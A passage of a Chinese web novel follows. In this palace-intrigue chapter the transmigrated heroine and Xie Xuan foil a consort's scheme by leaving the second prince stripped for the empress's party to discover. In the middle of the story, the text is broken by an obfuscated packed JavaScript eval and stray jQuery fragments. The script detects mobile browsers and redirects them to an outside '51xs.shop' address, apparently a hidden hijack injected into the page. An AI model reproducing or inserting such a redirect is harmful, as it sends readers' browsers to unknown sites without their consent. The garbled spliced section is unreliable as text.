为了防止谢宣不懂装懂,做得不够完美,出去之前闻希月还不忘叮嘱:“扒光了把腿岔开对着大门,要一推开门就能将重点部位一览无余的姿势哦!你会的吧?”
谢宣闭了闭眼,指着大门,命令道:“出去。”
“哦,出去就出去,凶什么凶嘛!”闻希月小声嘟囔着走出去。
“哦,对了。”闻希月说着,又从门口探进半颗脑袋,“你记得等会儿有人问起……”
她话还没说完,一块白布就从屋内飞了过来,将她兜头罩下。
视线完全被遮挡,一股带着二皇子身上浓烈熏香的气味扑鼻而来,布料上带着人体的温度,揭示着它是被刚刚从人身上扒下来的事实。
这个时候,白色的,被人刚刚从身上扒下来的,带着二皇子身上熏香的布料会是什么?
闻希月不愿再往下想,她闭了闭眼,屏住呼吸,语气镇定地接着把话说完,“不要把我供出来。”
然后一把扯下头上的布料扔在地上,强装镇定地离开院子,平静地崩溃着走远了。
听到脚步声远去,谢宣才重重地吐出了一口气。
他也不知道自己在紧张什么,谢顶被人看光了干他什么事?他现在所做的事难道不是冲着让谢顶被所有人看光去的吗?
难不成在此之前先被闻希月看光还有什么独特的让他不能忍受的意义吗?简直莫名其妙。
算了,想不明白就不想,将这种莫名其妙的情绪归结为是被闻希月今日反常的状态给传染了后,就没再放在心上。
谢宣依照闻希月的嘱托,将谢顶的双腿打开,还非常贴心地将圈椅往靠近门的方向挪了挪,以免门口的观众没办法第一眼看清。
做完这一切,他又在厢房内里里外外转了一圈,将犯罪现场留下的蛛丝马迹尽数抹去,这才优哉游哉地退出了厢房,关门离去。
-
晦气,太晦气了。
谢宣这个王八羔子,居然把谢顶的裤衩子甩到她的头上。
据说谢顶后院的女人可是比皇帝的后宫还要多,这么不检点,该不会有什么风流病吧。
这要不是生在皇宫,她铁定是要先去好好洗个澡,去去身上的晦气。
谢宣果然是个灾星,遇到他就准没好事儿。
像这种会把别人的裤衩子扔到女孩头上的男的,就他妈应该是个注孤生。
闻希月一边在心里骂骂咧咧,一边快步往前走,眼睛时不时左右看看,注意着周遭的动静。
“小姐小姐。”假山后突然传来红玉压低的声音,“在这里。”
闻希月左右看了看,发现没人注意到她,便快步窜到了假山后。
“怎么样?没人注意到你吧?”闻希月轻声问。
“小姐放心吧!奴婢一路都是绕着人走的,没人发现奴婢。”红玉一边说一边将手里的包袱打开来,“衣服在这里,小姐快换上。”
闻希月看了看四周,没发现有人的踪迹,就算有人,应该也不会没事儿跑假山后边来看看,在这里换衣服应该不用担心会走光。
她赶紧脱下自己身上的脏衣服,将红玉拿来的衣服往身上套。
“小姐可真是料事如神,你是怎么知道今日入宫会有人要弄脏你的衣服的?”红玉一边给闻希月整理衣服,一边满脸崇拜地问道。
之前她听了小姐的话离开后,就找了个没人的地方拆开了荷包,里面只有一张小小的字条,上面写着“如果我的衣服脏了,被人带去换衣服,你只管去马车上将我准备好的衣服拿过来,躲在我被带去的地方离开的必经之路上等着我就行,注意避着人,不要被人发现。”
当时看到这段话的红玉简直惊呆了,荷包是小姐今早出门前给她的,荷包里面的字条是早就写好的。
那么,小姐又是怎么知道今日会发生这样的事的?
以前的小姐虽然也不笨,但从来不是个会未雨绸缪的人。
自从上次负伤从闲云庄回来,小姐就变得不一样了,之前她只以为小姐是受了情伤,看开了一些事情。
但今天发生的事却让她觉得小姐这哪里是看开了?这简直像是换了个脑子,聪明的有些不正常了啊!
虽然小姐变聪明不是什么坏事,可总让她觉得有种说不上来的陌生感,这样的感觉让她有些不安。
闻希月心道,哪来的什么料事如神,她不过是比别人多看了一些宫斗剧而已。
不过这样的理由可不能对红玉说,她略微思索了一下道:“也不算什么料事如神,不过是因为之前的事,对皇家多了一些戒备心而已。”
她这么说除了是回答红玉的问题,也是在给自己穿越前后的变化打补丁。
从绿翡的讲述中,闻希月了解到原主是一个直来直往,不懂耍心机,有些执拗,有些任性,但没什么坏心思,是个开朗率真的人。
而她现在表现出的沉稳谨慎,凡事都要斟酌再三的性格,与原主的性格大相径庭,这么下去肯定会让人起疑。
红玉是个心思细腻的,她既然这么问了,肯定不光是对她这次料事如神的崇拜,必然还有对她的试探。
一个回答不好,就有可能身份暴露,她可不想被人当成什么会夺舍人身体的妖魔鬼怪给烧死。
所以多个心眼还是很有必要的。
这回答滴水不漏,红玉听了之后倒没再多想,只是对王府的情况多了一些担忧。
离小姐被打仅仅过去了一个多月,进一趟宫又遇到了针对小姐设的局,这也针对得太频繁了一些,让人不得不多想。
以前小姐和王妃也没少进宫赴宴,却从来没遇到过这种事。
最近却频频出事,难道真像小姐说的,皇家想动定安王府?
如果真是如此,那确实是得小心谨慎一些了。
在红玉的帮助下,闻希月很快就把衣服换好,又将脏衣服全都塞进了包袱里。
“小姐,这衣服怎么跟那件弄脏的一模一样啊!”红玉看着闻希月身上湖蓝色的衣裙,突然问道。
闻希月笑了笑,捡起一块大石头塞进了包袱里,一边将包袱扎好,一边道:“这样不就没人能看出来我换过衣服了吗?”
红玉愣了愣,小姐竟连这一步都考虑到了,真是太厉害了。
“走了,”闻希月出声打断红玉的思绪,“咱们去湖边。
这一次,红玉跟上了她的思路,“小姐是要将衣服扔湖里吗?”
“对。”闻希月说完,就从假山后探出头左右看了看,发现没人,就一把拉住红玉的手,飞快地窜了出去。
-
“皇后娘娘,大家好像都逛得有些累了,前面有个院子,不如带大家进去休息一下吧!”翠妃提议道。
正逛得兴起的大家:“???
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177244|150041||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
好吧!你说累就累吧!谁让你是皇帝的妃子呢?
皇后看了眼身后跟着的众人,点了点头道,“还是翠妃想得周到,就按你说的去休息一下吧!”
于是,一众人就向着二皇子所在的院子而去。
闻希月和红玉扔完衣服回来,正好看到了大部队。
两人偷偷潜伏过去,跟在了队伍的最后面。
然后不动声色地挪到了定安王妃的身边。
“咦!月儿,你回……”
“嘘——”闻希月竖指于唇边,阻止定安王妃将话说下去。
“娘,别说我离开过,”闻希月凑到定安王妃耳边小声道。
定安王妃愣了愣,有些不明所以,但她向来不爱打破砂锅问到底,于是,她笑着点了点头,若无其事地拉起了闻希月的手,跟着人群往前走去。
很快,一群人便抵达了目的地。
闻希月拉着定安王妃,掉在了人群最后。
走在前面的翠妃脸上的笑容都快要压不住了,没等皇后身边的宫女推门,她就快步过去一把将厢房的门推了开来,看也没看里面一眼,就对着皇后道:“皇后娘娘请。”
皇后鄙视地看了她一眼,心想宫女就是宫女,即使当了皇帝的妃子,也改不了骨子里的奴性。
皇后正要抬步往里走,却被眼前出现的景象惊得往后退了好几步,还是身边的宫女伸手扶了一把,她才堪堪站稳。
就在这时,突然有人发出一声尖叫,紧接着,人群就骚动起来。
来这里的都是女宾,此时,女宾们全都一脸羞愤地背过了身。
翠妃愣了愣,这是什么反应?难道他们在外间就……那好像确实有点……
不过,这样也好,这么一来,她也便不用费心将人骗进里间了。
“哎呀,长乐郡主,你怎么……”翠妃转过身,话说到一半突然哽住。
她儿子怎么……怎么一个人赤身裸体地坐在门口?闻希月去哪了?这到底怎么回事?
这时,已经有太监冲过去关上了厢房的门。
“翠妃!”皇后突然厉喝一声,“你、你好大的胆子,竟敢……竟敢……”
她竟敢了半天,愣是不知道要怎么说下去。
此时不光翠妃震惊,她也同样震惊。
她知道翠妃带她们来这里是干什么的,甚至今天这出戏也有她在背后推手。
可以说今日这场宫宴就是为这出戏作铺垫的。
在宫宴上的时候,她安插在翠妃宫里的人就将消息传到了她这里。
包括翠妃母子私下说的那些大逆不道的话也被一字不差地传到了她耳中。
原本按她的设想,如果翠妃母子设计闻希月成功,今日参加宫宴的宾客撞见二皇子与闻希月的丑事,接下来就是定安王怒斩二皇子,皇帝为平息定安王怒火废黜翠妃,她儿子少了一个皇位竞争者。
即使翠妃母子设计闻希月失败,她也不损失什么,大不了就是白浪费一天时间。
可现在,这场面就有点超出她的设想了,她只不经意扫了一眼,就不敢再多看。
太没下限了,这母子俩太没下限了,居然敢把场面搞得这么污秽不堪,这让她们这些目睹过这一幕的人以后要怎么做人?
在场还有不少未出阁的姑娘呢!这母子俩到底知不知道自己在做什么?